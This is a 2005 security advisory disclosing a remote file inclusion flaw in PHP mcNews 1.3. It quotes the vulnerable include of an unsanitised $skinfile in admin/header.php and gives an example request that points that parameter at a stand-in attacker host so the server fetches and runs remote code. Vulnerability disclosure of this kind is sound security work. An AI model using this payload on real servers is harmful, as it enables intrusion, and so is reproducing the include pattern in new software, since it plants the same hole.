PHP mcNews <= 1.3 arbitrary file inclusion (VXSfx)

[Filip Groszynski <groszynskif () gmail com>]

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Name:       PHP mcNews
Version:    1.3
Homepage:   http://www.phpforums.net/index.php?dir=dld

Author:     Filip Groszynski   (VXSfx)
Date:       7 March 2005
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Vulnerable code in mcNews/admin/header.php:

  <?
    // mcNews 1.3  Marc Cagninacci marc () phpforums net
  ?>

  ...

  <?
    if($voir!='') {
      $skinfile=strstr($skinfile, 'skin');
    include ("$skinfile");
  ?>

  ...

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Example:

  if register_globals=on and allow_url_fopen=on:
    http://[victim]/[dir]/mcNews/admin/header.php?skinfile=http://[hacker_box]/

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Contact:

    Author:    Filip Groszynski   <VXSfx>
    Location:  Poland <Warsaw>
    Email:     groszynskif <at> gmail <dot> com
    HP:        http://shell.homeunix.org

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